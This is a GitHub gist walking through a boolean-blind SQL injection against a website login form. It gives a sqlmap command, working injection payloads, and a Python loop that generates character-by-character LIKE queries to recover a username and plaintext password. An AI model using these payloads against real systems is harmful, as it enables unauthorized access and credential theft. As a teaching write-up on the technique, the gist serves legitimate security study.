Skip to content

Instantly share code, notes, and snippets.

@simonemainardi
Last active August 31, 2023 16:59
Show Gist options
  • Save simonemainardi/ffd05c441fa33e2dd6261ed39da0ef8e to your computer and use it in GitHub Desktop.
Save simonemainardi/ffd05c441fa33e2dd6261ed39da0ef8e to your computer and use it in GitHub Desktop.
Using Blind SQL Injections to Retrieve Access Credentials of a Website

Using Blind SQL Injections to Retrieve Access Credentials of a Website

In this gist I show how I leveraged a boolean-blind sql injection to gain access to a protected website. The injection allowed me query the website database and retrieve a valid pair username/password. Using the retrieved credentials I was able to login into the protected section of the website.

Software Used

To perform the attack I used:

  • sqlmap to discover the website was vulnerable to SQL injections.
  • Burp Suite to forge and send POST requests to the website login page, carrying payloads opportunely crafted with SQL queries.
  • Python: to iteratively generate queries containing canditate usernames and passwords

The Attack Steps

The attacked website was showing me a login.php page. The relevant part of the login page was the form

<form name="form1" id="customForm" action="login.php" method="post">
    <div>
        <label for="username">Username</label>
        <input type="textbox" name="username" id="username">
    </div>
    <div>
        <label for="password">Password</label>
        <input type="password" name="password" id="password">
    </div>
    <div>
        <input type="submit" id="submit" name="submit">
    </div>
</form>

Testing for SQL-injection Vulnerabilities

The first thing I needed to do was to test the inputs for possible SQL-injection vulnerabilities. To perform these tests I started Burp Suite and its Intercept proxy. Then, I filled the website login page with a pair random credentials and submitted the form with the aim of having the POST request captured by Burp Suite. Once the POST request was captured, I copied it to a text file attack.txt ready to be used with sqlmap as

./sqlmap.py -r attack.txt -p username --level 3 --risk 3

sqlmap discovered pretty easily the backed database was a MySQL. It also discovered field username was vulnerable to two blind injections

Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-4968' OR 2311=2311-- LKbI&password=test123

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test123' AND (SELECT 3532 FROM (SELECT(SLEEP(5)))GbfY)-- Wwtp&password=test123
---

And now the interesting stuff. How to leverage the vulnerabilities to gain access to the website. Being able to perform blind SQL injections is good but doesn't make life that easy. Indeed, you cannot get back any query result from the backend database, you can just infer the result of a certain query by observing changes in the HTTP response.

And this is what I've done.

How to Leverage Blind SQL Injections

I started sending SQL queries OR-ed with an invalid username and noticed that:

  • when the OR-ed query was evaluated to true, the server was responding with a 302 redirection to the login page
  • when the OR-ed query was evaluated to false, the server was responding with a 200 redirection to the login page

So basically the difference in the response code was allowing me to determine whether a certain query was evaluated to true or false.

Not much, but I was able to use this to infer, in order:

  • The structure of the database - at least of the table containing users
  • A valid username
  • A valid password for the username

Guessing the structure of the database

First of all, I wanted to find the structure of the database. So I started probing for common table names such as db_users, users_table, users using the following queries injected into the username field submitted with the POST:

-4968' OR exists(SELECT 1  FROM db_users limit 1)-- LKbI
-4968' OR exists(SELECT 1  FROM users limit 1)-- LKbI

As you can see the first part of any query is -4968 which is just an invalid username. Then there is a ' which closes the first query and allows me to write additional SQL starting from OR. I used the exists to test for several possible table names and performed the POST requests with the opportunely crafted username using Burp Suite. I easily got the following:

image

Whoho! I got the actual table name: users! As you can see from the image, I got a 200 response from the first query as the OR-ed condition evaluated to false, whereas I got the 302 response from the second query which evaluated to true! So users is a table which exists in the database.

Guessing a username

Ok, now it was time to guess for column names. Indeed, I needed the column containing usernames and also the column containing passwords. So I started guessing certain column names using a simple is not null query along with the exists.

image

Given the 302 responses, it seems the database has two columns likely used for usernames, namely, user_name and username, whereas it is pretty obvious that passwords are stored in column password.

At this point, I started query for table users, columm username to look for common usernames such as admin, with no luck

-4968' OR exists(SELECT 1  FROM users where username = 'shadow' limit 1) -- LKbI
-4968' OR exists(SELECT 1  FROM users where username = 'admin' limit 1) -- LKbI
-4968' OR exists(SELECT 1  FROM users where username = 'administrator' limit 1) -- LKbI

As this approach was not working, I started using LIKE queries to guess a username, one character at time. I started with

-4968' OR exists(SELECT 1  FROM users where username like 'a%' limit 1)-- LKbI

Ok. So there was at least one user starting with the a:

image

To guess the second letter, I prepared a small python script to generate all the possible lowercase-letters combinations with a:

>>> def char_range(c1, c2):
...     """Generates the characters from `c1` to `c2`, inclusive."""
...     for c in range(ord(c1), ord(c2)+1):
...         yield chr(c)
...
>>> for c in char_range('a', 'z'):
...     print("-4968' OR exists(SELECT 1  FROM users where username like 'a" + c + "%' limit 1)-- LKbI")
...
-4968' OR exists(SELECT 1  FROM users where username like 'aa%' limit 1)-- LKbI
-4968' OR exists(SELECT 1  FROM users where username like 'ab%' limit 1)-- LKbI
....

I pasted the 26 combinations in Burp Suite and found there was just one match: al (again, look at the 302).

image

Then I repeated the same process to generate all the possible 26 combinations of lowercase-letters with the prefix al. After just a bunch of additional iterations, I found a valid username existing in the database: alexander (the actual name is not alexander, I cannot disclose it as it may reveal possibly sensitive information).

Guessing the Password

Now it was time to discover the password associated to user alexander. I discovered that passwords were stored in column password but, were they hashed or stored in plaintext? The only way to know it was to start guessing the password for alexander, again one character at time. So I extended the sql queries as follow

>>> for c in char_range('a', 'z'):
...     print("-4968' OR exists(SELECT 1  FROM users where username = 'alexander' and password like '" + c + "%' limit 1) -- LKbI")
...
-4968' OR exists(SELECT 1  FROM users where username = 'alexander' and password like 'a%' limit 1) -- LKbI
-4968' OR exists(SELECT 1  FROM users where username = 'alexander' and password like 'b%' limit 1) -- LKbI

...

The first character of the password is an e!

image

Iteratively repeating the query above, adding one new character every time allowed me to retrieve the complete password - which also turned out to be stored in plaintext in the database.

At this point, I had a valid username/password pair that I used to successfully log into the protected site. Bingo.

Conclusions

In this gist I showed a technique to retrieve usernames and passwords from a website backend database, just by using boolean-blind SQL injections. The technique allowed me to successfully login into the protected section of a website.

@simonemainardi
Copy link
Author

Binary searches and RLIKE can be used as well to reduce the number of requests from linear to logarithmic. For example, the first character of the password can be searched in the first and second half of the alphabet as follows:

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment